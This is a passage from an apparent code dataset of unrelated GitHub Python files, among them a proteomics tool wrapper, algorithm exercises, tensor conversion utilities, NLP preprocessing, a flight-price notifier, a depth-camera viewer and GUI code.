line[len(group_prefixes[0]):]\n group_data = {}\n for j, group_prefix in enumerate(group_prefixes):\n group_line = inputs_lines[i + j]\n group_data[group_parts[j]] = group_line[len(group_prefix):]\n i += len(group_prefixes)\n elif line.startswith(input_prefixes[0]):\n input = []\n for j, input_prefix in enumerate(input_prefixes):\n part_line = inputs_lines[i + j]\n part = part_line[len(input_prefixes[j]):]\n input.append(part)\n if cur_group not in groups:\n groups[cur_group] = {\"group_data\": group_data, \"inputs\": []}\n groups[cur_group][\"inputs\"].append(input)\n i += len(input_prefixes)\n else:\n # Skip empty line\n i += 1\n return groups\n\n\ndef build_samples(samples_file):\n group_data = parse_groups(samples_file, group_parts=[\"sample\", \"mudpit\", \"category\"], input_parts=[\"name\", \"path\", \"ext\"])\n samples_description = \"\"\n for sample_name, sample_data in list(group_data.items()):\n files = sample_data[\"inputs\"]\n mudpit = sample_data[\"group_data\"][\"mudpit\"]\n category = sample_data[\"group_data\"][\"category\"]\n samples_description += \"\"\"\\n\"\"\" % (sample_name, mudpit, category)\n for (name, path, ext) in files:\n name = os.path.basename(name)\n if not name.lower().endswith(ext.lower()):\n name = \"%s.%s\" % (name, ext)\n symlink(path, name)\n samples_description += \"%s\\n\" % os.path.abspath(name)\n samples_description += \"\"\"\\n\"\"\"\n return samples_description\n\n\ndef run_script():\n action = sys.argv[1]\n if action == \"run\":\n proc = scaffold_run\n elif action == \"export\":\n proc = scaffold_export\n proc()\n\n\ndef scaffold_export():\n parser = optparse.OptionParser()\n parser.add_option(\"--sf3\")\n parser.add_option(\"--output\")\n parser.add_option(\"--export_type\")\n populate_threshold_options(parser)\n (options, args) = parser.parse_args()\n\n template_parameters = {}\n\n template_parameters[\"sf3_path\"] = options.sf3\n template_parameters[\"export_options\"] = \"\"\" type=\"%s\" \"\"\" % options.export_type\n template_parameters[\"display_thresholds\"] = build_display_thresholds(options)\n\n execute_scaffold(options, EXPORT_TEMPLATE, template_parameters)\n\n\ndef build_display_thresholds(options):\n attributes = ['id=\"thresh\"']\n if options.protein_probability is not None:\n attributes.append('proteinProbability=\"%s\"' % options.protein_probability)\n if options.peptide_probability is not None:\n attributes.append('peptideProbability=\"%s\"' % options.peptide_probability)\n if options.minimum_peptide_count is not None:\n attributes.append('minimumPeptideCount=\"%s\"' % options.minimum_peptide_count)\n if options.minimum_peptide_length is not None:\n attributes.append('minimumPeptideLength=\"%s\"' % options.minimum_peptide_length)\n if options.minimum_ntt is not None:\n attributes.append('minimumNTT=\"%s\"' % options.minimum_ntt)\n attributes.append('useCharge=\"%s\"' % build_use_charge_option(options))\n tag_open = \"\"\n tag_body = \"\".join([f(options) for f in [tandem_opts, omssa_opts]])\n tag_close = \"\"\n return tag_open + tag_body + tag_close\n\n\ndef tandem_opts(options):\n element = \"\"\n tandem_score = options.tandem_score\n if tandem_score:\n element = '' % ((tandem_score,) * 4)\n return element\n\n\ndef omssa_opts(options):\n return \"\"\n\n\ndef build_use_charge_option(options):\n use_charge_array = []\n for i in [\"1\", \"2\", \"3\", \"4\"]:\n use_charge_i = getattr(options, \"use_charge_%s\" % i, True)\n use_charge_array.append(\"true\" if use_charge_i else \"false\")\n return \",\".join(use_charge_array)\n\n\ndef populate_threshold_options(option_parser):\n option_parser.add_option(\"--protein_probability\", default=None)\n option_parser.add_option(\"--peptide_probability\", default=None)\n option_parser.add_option(\"--minimum_peptide_count\", default=None)\n option_parser.add_option(\"--ignore_charge_1\", action=\"store_false\", dest=\"use_charge_1\", default=True)\n option_parser.add_option(\"--ignore_charge_2\", action=\"store_false\", dest=\"use_charge_2\", default=True)\n option_parser.add_option(\"--ignore_charge_3\", action=\"store_false\", dest=\"use_charge_3\", default=True)\n option_parser.add_option(\"--ignore_charge_4\", action=\"store_false\", dest=\"use_charge_4\", default=True)\n option_parser.add_option(\"--minimum_peptide_length\", default=None)\n option_parser.add_option(\"--minimum_ntt\", default=None)\n option_parser.add_option(\"--tandem_score\", default=None)\n option_parser.add_option(\"--omssa_peptide_probability\", default=None)\n option_parser.add_option(\"--omssa_log_expect_score\", default=None)\n\n\ndef database_rules(database_type):\n rules_dict = {\n \"ESTNR\": (\">(gi\\\\|[0-9]*)\", \">[^ ]* (.*)\"),\n \"IPI\": (\">IPI:([^\\\\| .]*)\", \">[^ ]* Tax_Id=[0-9]* (.*)\"),\n \"SWISSPROT\": (\">([^ ]*)\", \">[^ ]* \\\\([^ ]*\\\\) (.*)\"),\n \"UNIPROT\": (\">[^ ]*\\\\|([^ ]*)\", \">[^ ]*\\\\|[^ ]* (.*)\"),\n \"UNIREF\": (\">UniRef100_([^ ]*)\", \">[^ ]* (.*)\"),\n \"ENSEMBL\": (\">(ENS[^ ]*)\", \">[^ ]* (.*)\"),\n \"MSDB\": (\">([^ ]*)\", \">[^ ]* (.*)\"),\n \"GENERIC\": (\">([^ ]*)\", \">[^ ]* (.*)\"),\n }\n database_type = database_type if database_type in rules_dict else \"GENERIC\"\n return rules_dict[database_type]\n\n\ndef scaffold_run():\n parser = optparse.OptionParser()\n parser.add_option(\"--samples\")\n parser.add_option(\"--database\")\n parser.add_option(\"--database_name\")\n parser.add_option(\"--database_type\")\n parser.add_option(\"--database_decoy_regex\")\n parser.add_option(\"--output\")\n parser.add_option(\"--output_driver\")\n populate_threshold_options(parser)\n (options, args) = parser.parse_args()\n\n template_parameters = {}\n\n # Read samples from config file and convert to XML\n template_parameters[\"samples\"] = build_samples(options.samples)\n template_parameters[\"display_thresholds\"] = build_display_thresholds(options)\n\n # Setup database parameters\n database_path = options.database\n database_name = options.database_name\n database_type = options.database_type\n database_decoy_regex = options.database_decoy_regex\n\n (accession_regex, description_regex) = database_rules(database_type)\n\n template_parameters[\"database_path\"] = database_path\n template_parameters[\"database_name\"] = database_name\n template_parameters[\"database_accession_regex\"] = escape(accession_regex)\n template_parameters[\"database_description_regex\"] = escape(description_regex)\n template_parameters[\"database_decoy_regex\"] = escape(database_decoy_regex)\n\n execute_scaffold(options, RUN_TEMPLATE, template_parameters)\n\n if options.output_driver:\n shutil.copy(\"driver.xml\", options.output_driver)\n\n\ndef execute_scaffold(options, template, template_parameters):\n # Setup output parameter\n output_path = options.output\n template_parameters[\"output_path\"] = output_path\n\n # Prepare and create driver file\n driver_contents = Template(template).substitute(template_parameters)\n print(driver_contents)\n driver_path = os.path.abspath(\"driver.xml\")\n open(driver_path, \"w\").write(driver_contents)\n\n # Run Scaffold\n execute(\"ScaffoldBatch4 '%s'\" % driver_path)\n\nif __name__ == '__main__':\n __main__()\n","repo_name":"galaxyproteomics/tools-galaxyp","sub_path":"tools/scaffold/scaffold_wrapper.py","file_name":"scaffold_wrapper.py","file_ext":"py","file_size_in_byte":11600,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"31"} +{"seq_id":"13757884711","text":"#!/usr/bin/env python3\n\n'''\nGiven an array of characters where each character represents a fruit tree, you are given two baskets, and your goal is to put maximum number of fruits in each basket. The only restriction is that each basket can have only one type of fruit.\n\nYou can start with any tree, but you can’t skip a tree once you have started. You will pick one fruit from each tree until you cannot, i.e., you will stop when you have to pick from a third fruit type.\n\nWrite a function to return the maximum number of fruits in both baskets.\n\nExample 1:\n\nInput: Fruit=['A', 'B', 'C', 'A', 'C']\nOutput: 3\nExplanation: We can put 2 'C' in one basket and one 'A' in the other from the subarray ['C', 'A', 'C']\nExample 2:\n\nInput: Fruit=['A', 'B', 'C', 'B', 'B', 'C']\nOutput: 5\nExplanation: We can put 3 'B' in one basket and two 'C' in the other basket. \nThis can be done if we start with the second letter: ['B', 'C', 'B', 'B', 'C']\n'''\ndef fruits_into_baskets(fruits):\n dict = {}\n length = 0\n maxi = 0\n for i in range(len(fruits)):\n if fruits[i] in dict:\n dict[fruits[i]] += 1\n length += 1\n maxi = max(maxi, length)\n elif fruits[i] not in dict and len(dict.keys()) < 2:\n dict[fruits[i]] = 1\n length += 1\n maxi = max(maxi, length)\n elif fruits[i] not in dict and len(dict.keys()) == 2:\n maxi = max(maxi, length)\n while len(dict.keys()) == 2:\n if dict[fruits[i-length]] == 1: \n del dict[fruits[i-length]]\n length -= 1\n else:\n dict[fruits[i-length]] -= 1\n length -= 1\n dict[fruits[i]] = 1\n length += 1\n return maxi\nif __name__ == '__main__':\n fruits=['A', 'B', 'A', 'C', 'A', 'C', 'C', 'A', 'A', 'D']\n print(fruits)\n print(fruits_into_baskets(fruits))\n","repo_name":"ksambaiah/python","sub_path":"educative/fruits_into_baskets.py","file_name":"fruits_into_baskets.py","file_ext":"py","file_size_in_byte":1857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1585271392","text":"import tkinter\nfrom tkinter.messagebox import showinfo as alert\nfrom tkinter.messagebox import askyesno as question\nfrom tkinter.simpledialog import askstring as prompt\nimport customtkinter\n\n'''\nNombre: Anibal Caeiro\n\nAl presionar el botón Mostrar pedir un número. mostrar los números pares desde \nel 1 al número ingresado, y mostrar la cantidad de números pares encontrados.\n'''\n\nclass App(customtkinter.CTk):\n \n def __init__(self):\n super().__init__()\n\n # configure window\n self.title(\"UTN Fra\")\n \n self.btn_mostrar = customtkinter.CTkButton(master=self, text=\"Mostrar\", command=self.btn_mostrar_on_click)\n self.btn_mostrar.grid(row=2, pady=20, columnspan=2, sticky=\"nsew\")\n\n self.resetear()\n def btn_mostrar_on_click(self):\n self.resetear()\n while(True):\n self.numero_ingresado_txt = prompt(title=\"\", prompt=\"Ingrese un valor\")\n if(self.numero_ingresado_txt != None):\n self.numero_ingresado_int = int(self.numero_ingresado_txt)\n self.lista_valores.append(self.numero_ingresado_int)\n else:\n break\n \n for valor in self.lista_valores:\n if(valor % 2 == 0):\n self.lista_pares.append(valor)\n self.contador_pares = len(self.lista_pares)\n \n print(\"Usted apreto Cancelar\")\n mensaje = \"Los numeros pares ingresados son {0}\\nHa ingresado la cantidad de {1} numeros pares\"\n mensaje = mensaje.format(self.lista_pares, self.contador_pares)\n alert(title=\"\", message=mensaje)\n\n def resetear(self):\n self.lista_valores = []\n self.lista_pares = []\n self.contador_pares = 0\n \n \nif __name__ == \"__main__\":\n app = App()\n app.mainloop()","repo_name":"anibaldi0/CursoPythonUTN","sub_path":"06_instruccion_for/ejercicio_06/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1814,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"26107295245","text":"from typing import Collection, Literal, Union, overload\n\nimport numpy as np\nimport tensorflow as tf\nimport torch\n\nfrom fastestimator.types import Array, ArrayT, CollectionT\n\n\n@overload\ndef to_tensor(data: CollectionT, target_type: str, shared_memory: bool = False) -> CollectionT:\n ...\n\n\n@overload\ndef to_tensor(data: Union[Array, float, int], target_type: Literal['tf'], shared_memory: bool = False) -> tf.Tensor:\n ...\n\n\n@overload\ndef to_tensor(data: Union[Array, float, int], target_type: Literal['torch'],\n shared_memory: bool = False) -> torch.Tensor:\n ...\n\n\n@overload\ndef to_tensor(data: Union[Array, float, int], target_type: Literal['np'], shared_memory: bool = False) -> np.ndarray:\n ...\n\n\n@overload\ndef to_tensor(data: Union[Array, float, int], target_type: str, shared_memory: bool = False) -> Array:\n ...\n\n\n@overload\ndef to_tensor(data: None, target_type: str, shared_memory: bool = False) -> None:\n ...\n\n\ndef to_tensor(data: Union[Collection, Array, float, int, None], target_type: str,\n shared_memory: bool = False) -> Union[Collection, ArrayT, Array, None]:\n \"\"\"Convert tensors within a collection of `data` to a given `target_type` recursively.\n\n This method can be used with Numpy data:\n ```python\n data = {\"x\": np.ones((10,15)), \"y\":[np.ones((4)), np.ones((5, 3))], \"z\":{\"key\":np.ones((2,2))}}\n t = fe.backend.to_tensor(data, target_type='tf')\n # {\"x\": , \"y\":[, ], \"z\": {\"key\": }}\n p = fe.backend.to_tensor(data, target_type='torch')\n # {\"x\": , \"y\":[, ], \"z\": {\"key\": }}\n ```\n\n This method can be used with TensorFlow tensors:\n ```python\n data = {\"x\": tf.ones((10,15)), \"y\":[tf.ones((4)), tf.ones((5, 3))], \"z\":{\"key\":tf.ones((2,2))}}\n p = fe.backend.to_tensor(data, target_type='torch')\n # {\"x\": , \"y\":[, ], \"z\": {\"key\": }}\n ```\n\n This method can be used with PyTorch tensors:\n ```python\n data = {\"x\": torch.ones((10,15)), \"y\":[torch.ones((4)), torch.ones((5, 3))], \"z\":{\"key\":torch.ones((2,2))}}\n t = fe.backend.to_tensor(data, target_type='tf')\n # {\"x\": , \"y\":[, ], \"z\": {\"key\": }}\n ```\n\n Args:\n data: A tensor or possibly nested collection of tensors.\n target_type: What kind of tensor(s) to create, one of \"tf\", \"torch\", or \"np\".\n shared_memory: Whether to put the tensor(s) in shared memory (only applicable when `target_type` is 'torch').\n\n Returns:\n A collection with the same structure as `data`, but with any tensors converted to the `target_type`.\n \"\"\"\n target_instance = {\n \"tf\": (tf.Tensor, tf.Variable, tf.distribute.DistributedValues), \"torch\": torch.Tensor, \"np\": np.ndarray\n }\n conversion_function = {\"tf\": tf.convert_to_tensor, \"torch\": torch.from_numpy, \"np\": np.array}\n if isinstance(data, target_instance[target_type]):\n if shared_memory and target_type == \"torch\":\n data.share_memory_()\n return data\n elif data is None:\n return None\n elif isinstance(data, str):\n # We don't convert strings to tensors because torch collate behavior is just to wrap strings into a list\n return data\n elif isinstance(data, dict):\n return {key: to_tensor(value, target_type) for (key, value) in data.items()}\n elif isinstance(data, list):\n return [to_tensor(val, target_type) for val in data]\n elif isinstance(data, tuple) and hasattr(data, '_fields'): # Named tuple\n return type(data)([to_tensor(val, target_type) for val in data])\n elif isinstance(data, tuple):\n return tuple([to_tensor(val, target_type) for val in data])\n elif isinstance(data, set):\n return set([to_tensor(val, target_type) for val in data])\n else:\n data = conversion_function[target_type](np.array(data))\n if shared_memory and target_type == \"torch\":\n data.share_memory_()\n return data\n","repo_name":"fastestimator/fastestimator","sub_path":"fastestimator/backend/_to_tensor.py","file_name":"_to_tensor.py","file_ext":"py","file_size_in_byte":4078,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"31"} +{"seq_id":"39726878315","text":"from .apps import SentimentConfig\nimport re\nimport string\nimport nltk \nfrom nltk.tokenize import WordPunctTokenizer\nfrom nltk.stem import WordNetLemmatizer\n\nnltk.download(\"stopwords\")\nnltk.download('wordnet')\n\ntokenizer = WordPunctTokenizer()\nlemmatizer = WordNetLemmatizer()\nstopwords = nltk.corpus.stopwords.words(\"english\")\n\ndef preprocess_text(text):\n text = re.sub(\"
\", \"\", text)\n\n sents = []\n for sent in text.lower().split(\".\"):\n tokens = []\n for word in tokenizer.tokenize(sent):\n if (word not in stopwords) and (word not in string.punctuation) \\\n and (not word.isdigit()):\n tokens.append(word)\n sents.append(\" \".join(tokens))\n return \" \".join(sents)\n\ndef lemmatize(sent):\n lemmatized_tokens = []\n for token in tokenizer.tokenize(sent):\n word = lemmatizer.lemmatize(token)\n lemmatized_tokens.append(word)\n return \" \".join(lemmatized_tokens)\n\ndef score_corrector(label):\n if label > 3:\n return label + 3\n return label + 1","repo_name":"Kulallador/movie_sentiment","sub_path":"backend/sentiment/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74204644568","text":"import inspect\nfrom functools import reduce\nfrom typing import Union, List, Dict, Any\n\nfrom plank.server.action import Action\nfrom plank.server.message import Request, Response\nfrom plank.serving import Serving\nfrom pydantic import BaseModel\n\n\nclass ServingAction(Action):\n\n @property\n def serving(self) -> Serving:\n return self.__serving\n\n def __init__(self, path: str, serving: Serving):\n self.__path = path\n self.__serving = serving\n\n def routing_path(self) -> str:\n return self.__path\n\n async def receive(self, request: Request) -> Response:\n # request.arguments\n\n sig = inspect.signature(self.serving.perform)\n parameter_names = sig.parameters.keys()\n\n def handle(args: Union[List[Any], Dict[str, Any]], parameter: inspect.Parameter):\n arg = args[parameter.name]\n if isinstance(arg, dict) and issubclass(parameter.annotation, BaseModel):\n return parameter.annotation.construct(**arg)\n else:\n return arg\n\n # for name, parameter in sig.parameters.items():\n # print(parameter.annotation, isinstance(body, parameter.annotation))\n\n if len(parameter_names) == 1:\n parameter_name = list(parameter_names)[0]\n parameter = sig.parameters[parameter_name]\n if issubclass(parameter.annotation, BaseModel):\n if isinstance(request.arguments, dict):\n argument_count = len(request.arguments.keys())\n model_keys = parameter.annotation.schema(by_alias=True).keys()\n if argument_count > 0:\n keys_compared = reduce(lambda result, item: result and (item in model_keys),\n request.arguments.keys(), True)\n if keys_compared:\n model = parameter.annotation.construct(**request.arguments)\n else:\n model = parameter.annotation.construct(**request.arguments[parameter_name])\n else:\n model = parameter.annotation.construct()\n response_value = self.serving.perform(model)\n else:\n model = parameter.annotation.construct(**request.arguments)\n response_value = self.serving.perform(model)\n else:\n response_value = self.serving.perform(**request.arguments)\n else:\n pass_arguments = {\n name: handle(request.arguments, parameter)\n for name, parameter in sig.parameters.items()\n }\n response_value = self.serving.perform(**pass_arguments)\n\n if inspect.isawaitable(response_value):\n response_value = await response_value\n return Response(value=response_value)\n","repo_name":"ospark-org/plank","sub_path":"plank/server/action/serving.py","file_name":"serving.py","file_ext":"py","file_size_in_byte":2892,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"34883667895","text":"# ALIENS PRA KCT\n\nimport data_manager\nimport flight_search\nimport flight_data\nimport notification_manager\nimport datetime as dt\nfrom dateutil.relativedelta import relativedelta\n\n# -------------------------------------- TWILIO ------------------------------------------------- #\nTWILIO_NUM = 'YOUR TWILIO NUM'\nTWILIO_TO_SEND = 'NUMBER TO SEND'\n\n\n# -------------------------- Function that return the city IATA code --------------------------------------------- #\ndef asking_city(city):\n pop_params = {\n \"term\": city,\n \"location_types\": \"city\"\n }\n return searcher.search_iata(pop_params)\n\n\n# ----------------------------- POPULATE IATA CODES ---------------------------------------- #\ndef iata_populate(data):\n \"\"\" This function populates the IATA column if it's empty \"\"\"\n for row in data['prices']:\n if row['iataCode'] == \"\":\n print(\"Empty Column, populating\")\n to_pop = {\n \"price\": {\n 'iataCode': asking_city(row['city'])\n }\n }\n data_maid.updating_data(to_pop, row['id'])\n else:\n print(\"Everything Alright\")\n\n\n# Setting up the classes.\nsearcher = flight_search.FlightSearch()\ndata_maid = data_manager.DataManager()\n\n\n# Get Sheet data.\nsheet_data = data_maid.getting_data()\n\n\n# Get today date.\ndate_today = dt.datetime.today()\n# Adding 6 months to the current date\ndate_after_month = dt.datetime.now() + relativedelta(months=6)\n\n\n# Check if the IATA codes are empty, if it's add IATA codes to it.\niata_populate(sheet_data)\n\n\n# Ask the user his current city and getting the IATA code for his city.\nuser_city = input(\"Which city you want to get your flight? \")\niata_user_city = asking_city(user_city)\n\n# First for loop, it gets the information in the row of the sheet, and adds it into the params to search.\nfor row in sheet_data['prices']:\n\n # Variables to control if we found a new flight.\n store_status = False\n stops_status = False\n\n # Storing the flight with better price and its current price.\n current_flight = {}\n current_price = row['lowestPrice']\n\n # Params to get the data from the API.\n params_search = {\n \"fly_from\": iata_user_city,\n \"fly_to\": row['iataCode'],\n \"date_from\": date_today.strftime('%d/%m/%Y'),\n \"date_to\": date_after_month.strftime('%d/%m/%Y'),\n \"nights_in_dst_from\": 7,\n \"nights_in_dst_to\": 28,\n \"flight_type\": \"round\",\n \"one_for_city\": 1,\n \"max_stopovers\": 0\n }\n\n # Get all the flights for the current date.\n all_flights = searcher.search_prices(params_search)\n\n # Check all flights for the better price and storing it.\n for flight in all_flights['data']:\n if flight['price'] < current_price:\n current_price = flight['price']\n current_flight = flight\n store_status = True\n\n # Check if we found a better price.\n if store_status:\n\n att_price = {\n 'price': {\n 'lowestPrice': current_price\n }\n }\n\n # Update our sheet\n data_maid.updating_data(att_price, row['id'])\n\n # Set up our SMS message and send it\n depurer = flight_data.FlightData(current_flight, stops_status)\n sms_string = depurer.depure_data()\n sms_sender = notification_manager.NotificationManager()\n sms_sender.send_sms(sms_string, TWILIO_NUM, TWILIO_TO_SEND)\n\n # Check if we can find a better price with 2 stops.\n else:\n print(f\"\\nWe do not found a new flight price for {row['city']}\\nTrying with 2 stop overs.\")\n\n params_search['max_stopovers'] = 2\n all_flights = searcher.search_prices(params_search)\n\n for flight in all_flights['data']:\n if flight['price'] < current_price:\n current_price = flight['price']\n current_flight = flight\n store_status = True\n stops_status = True\n\n if store_status:\n att_price = {\n 'price': {\n 'lowestPrice': current_price\n }\n }\n\n # Get all the flights for the current date.\n data_maid.updating_data(att_price, row['id'])\n\n # Set up our SMS message and sending it\n depurer = flight_data.FlightData(current_flight, stops_status)\n sms_string = depurer.depure_data()\n sms_sender = notification_manager.NotificationManager()\n sms_sender.send_sms(sms_string, TWILIO_NUM, TWILIO_TO_SEND)\n\n else:\n print(f\"Unfortunately we do not found a new flight price for {row['city']}\")\n\n\n\n\n\n\n","repo_name":"MateusPersonalProjects/FlightFinder","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24238124540","text":"import os.path\nimport pickle\n\n\nclass Film:\n def __init__(self, title, style, director, year, duration, studio, actors):\n self.title = title\n self.style = style\n self.director = director\n self.year = year\n self.duration = duration\n self.studio = studio\n self.actors = actors\n\n def __str__(self):\n return f'{self.title} ({self.director})'\n\n\nclass FilmModel:\n def __init__(self):\n self.dict_film = 'film_catalog.txt'\n self.catalog = self.load_data()\n\n def add_film(self, dict_film):\n film = Film(*dict_film.values())\n self.catalog[film.title] = film\n\n def get_all_films(self):\n return self.catalog.values()\n\n def get_single_film(self, user_title):\n film = self.catalog[user_title]\n dict_film = {\n 'название': film.title,\n 'жанр': film.style,\n 'режиссер': film.director,\n 'год выпуска': film.year,\n 'продолжительность': film.duration,\n 'студия': film.studio,\n 'актеры': film.actors\n\n }\n return dict_film\n\n def load_data(self):\n if os.path.exists(self.dict_film):\n with open(self.dict_film, 'rb') as f:\n return pickle.load(f)\n else:\n return dict()\n\n def save_data(self):\n with open(self.dict_film, 'wb') as f:\n pickle.dump(self.catalog, f)\n\n def remove_film(self, user_title):\n return self.catalog.pop(user_title)\n","repo_name":"NeDimaN/Python123","sub_path":"HomeWork/HW_42/model_film.py","file_name":"model_film.py","file_ext":"py","file_size_in_byte":1567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36914012652","text":"import os\nimport shutil\n\n\ndef get_lost_pdb_ids():\n pdb_ids = os.listdir(EMdata_dir)\n lost_pdb_ids = []\n list.sort(pdb_ids)\n for pdb_id in pdb_ids:\n map_path = os.path.join(EMdata_dir, pdb_id, 'simulation/normalized_map.mrc')\n pdb_path = os.path.join(EMdata_dir, pdb_id, 'simulation/{}.rebuilt.pdb'.format(pdb_id))\n if not os.path.exists(map_path) or not os.path.exists(pdb_path):\n lost_pdb_ids.append(pdb_id)\n shutil.rmtree(os.path.join(EMdata_dir, pdb_id))\n return lost_pdb_ids\n\n\ndef remove_lost_pdb_ids(pdb_ids_to_remove):\n with open(old_txt, 'r') as old_txt_file, open(new_txt, 'w') as new_txt_file:\n old_pdbs = []\n for line in old_txt_file:\n for pdb_id in line.split(','):\n if len(pdb_id) == 4:\n old_pdbs.append(pdb_id)\n print('before remove {} pdbs'.format(len(old_pdbs)))\n new_pdbs = [i for i in old_pdbs if i not in pdb_ids_to_remove]\n print('after remove {} pdbs'.format(len(new_pdbs)))\n for i in range(0, len(new_pdbs), 20):\n new_txt_file.write(','.join(new_pdbs[i:i + 20]) + '\\n')\n\n\nif __name__ == '__main__':\n dataset = '400_500'\n EMdata_dir = '/mnt/data/zxy/amino-acid-detection/EMdata_dir/{}'.format(dataset)\n\n old_txt = '/home/zxy/cryoem-tianchi/dataset/csv/{}.txt'.format(dataset)\n new_txt = '/home/zxy/cryoem-tianchi/dataset/csv/{}_remove.txt'.format(dataset)\n\n lost_pdb_ids = get_lost_pdb_ids()\n print('lost {} pdbs'.format(len(lost_pdb_ids)))\n remove_lost_pdb_ids(lost_pdb_ids)\n","repo_name":"Zouxxyy/cryoem-amino-acid-detection","sub_path":"scrips/fix_dataset.py","file_name":"fix_dataset.py","file_ext":"py","file_size_in_byte":1576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"2674963577","text":"from pickle import FALSE, TRUE\nimport sys\nsys.path.append('../../../')\n\nfrom DCAM550.API.Vzense_api_550 import *\nimport cv2\nimport time\nimport ctypes\n\ncamera = VzenseTofCam()\n\n\ncamera_count = camera.Ps2_GetDeviceCount()\nretry_count = 100\nwhile camera_count==0 and retry_count > 0:\n retry_count = retry_count-1\n camera_count = camera.Ps2_GetDeviceCount()\n time.sleep(1)\n print(\"scaning...... \",retry_count)\n\ndevice_info=PsDeviceInfo()\n\nif camera_count > 1:\n ret,device_infolist=camera.Ps2_GetDeviceListInfo(camera_count)\n if ret==0:\n device_info = device_infolist[0]\n for info in device_infolist: \n print('cam uri: ' + str(info.uri))\n else:\n print(' failed:' + ret) \n exit() \nelif camera_count == 1:\n ret,device_info=camera.Ps2_GetDeviceInfo()\n if ret==0:\n print('cam uri:' + str(device_info.uri))\n else:\n print(' failed:' + ret) \n exit() \nelse: \n print(\"there are no camera found\")\n exit()\n\nprint(\"uri: \"+str(device_info.uri))\nret = camera.Ps2_OpenDevice(device_info.uri)\n\nif ret == 0:\n ret = camera.Ps2_StartStream()\n if ret == 0:\n print(\"start stream successful\")\n else: print(\"Failed\")\n\n ret, depthrange = camera.Ps2_GetDepthRange()\n if ret == 0:\n print(\"Ps2_GetDepthRange:\", depthrange.value)\n else:\n print(\"Ps2_GetDepthRange failed:\",ret)\n\n ret, depth_max, value_min, value_max = camera.Ps2_GetMeasuringRange(PsDepthRange(depthrange.value))\n if ret == 0:\n print(\"Ps2_GetMeasuringRange: \",depth_max,\",\",value_min,\",\",value_max)\n else:\n print(\"Ps2_GetMeasuringRange failed:\",ret)\n\n try:\n f = open(\"output\", \"wb\")\n while True:\n ret, frameready = camera.Ps2_ReadNextFrame()\n if ret != 0:\n print(\"Ps2_ReadNextFrame failed:\", ret)\n time.sleep(1)\n continue\n \n if frameready.depth: \n ret,depthframe = camera.Ps2_GetFrame(PsFrameType.PsDepthFrame)\n \n if ret == 0:\n frametmp = numpy.ctypeslib.as_array(depthframe.pFrameData, (1, depthframe.width * depthframe.height * 2))\n f.write(frametmp.tobytes())\n frametmp.dtype = numpy.uint16\n frametmp.shape = (depthframe.height, depthframe.width)\n\n #convert ushort value to 0xff is just for display\n img = numpy.int32(frametmp)\n img = img*255/5000\n img = numpy.clip(img, 0, 255)\n img = numpy.uint8(img)\n cv2.imshow(\"Depth Image\", img)\n else:\n print(\"---end---\")\n if frameready.ir:\n ret,irframe = camera.Ps2_GetFrame(PsFrameType.PsIRFrame)\n if ret == 0:\n frametmp = numpy.ctypeslib.as_array(irframe.pFrameData, (1, irframe.width * irframe.height * 2))\n frametmp.dtype = numpy.uint16\n frametmp.shape = (irframe.height, irframe.width)\n img = numpy.int32(frametmp)\n img = img*255/3840\n img = numpy.clip(img, 0, 255)\n frametmp = numpy.uint8(img)\n cv2.imshow(\"IR Image\", frametmp)\n \n cv2.waitKey(1)\n\n print(\"depth range\")\n for index, element in enumerate(PsDepthRange):\n print(index, element)\n mode_input = 5\n for index, element in enumerate(PsDepthRange):\n if index == int(mode_input):\n ret = camera.Ps2_SetDepthRange(element)\n if ret == 0:\n print(\"Ps2_SetDepthRange {} success\".format(element))\n ret, depth_max, value_min, value_max = camera.Ps2_GetMeasuringRange(PsDepthRange(element))\n if ret == 0:\n print(PsDepthRange(element),\" Ps2_GetMeasuringRange: \",depth_max,\",\",value_min,\",\",value_max)\n else:\n print(PsDepthRange(element),\" Ps2_GetMeasuringRange failed:\",ret)\n\n else:\n print(\"Ps2_SetDepthRange {} failed {}\".format(element,ret))\n\n\n except Exception as e:\n print(e)\n finally:\n print('end')\n f.close()\nelse:\n print('Ps2_OpenDevice failed: ' + str(ret)) \n \n","repo_name":"cyruss081115/Vzense_viewer","sub_path":"DCAM550/Samples/FrameViewer/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":4504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38664061999","text":"from pathlib import Path\n\nfrom PyQt5.QtWidgets import QDialog, QLineEdit, QDialogButtonBox, QFormLayout, QFileDialog\nfrom PyQt5.QtWidgets import QComboBox, QMessageBox, QPushButton, QHBoxLayout, QWidget, QTextEdit\n\nimport mola.specification5 as ms\nimport molaqt.controllers as mqc\n\n\nclass NewModelDialog(QDialog):\n def __init__(self, parent=None, db_files=None):\n super().__init__(parent)\n self.setWindowTitle(\"New Model\")\n\n self.name = QLineEdit(self)\n self.name.setText('test_model')\n\n # builder combobox\n self.builder = QComboBox(self)\n self.builders = None\n self.builder_class = {\n \"StandardController\": mqc.StandardController,\n \"CustomController\": mqc.CustomController}\n\n # specification combobox\n self.specification = QComboBox(self)\n self.specification.currentIndexChanged.connect(self.specification_changed)\n self.specifications = {cls.name: cls for cls in ms.Specification.__subclasses__()}\n for spec in self.specifications:\n self.specification.addItem(spec)\n\n # add databases to combobox\n self.database = QComboBox(self)\n self.db_files = {f.stem: f for f in db_files if f != 'None'}\n self.database.addItems(self.db_files.keys())\n button_box = QDialogButtonBox(QDialogButtonBox.Ok | QDialogButtonBox.Cancel, self)\n\n # documentation\n self.doc_widget = DocWidget()\n\n layout = QFormLayout(self)\n 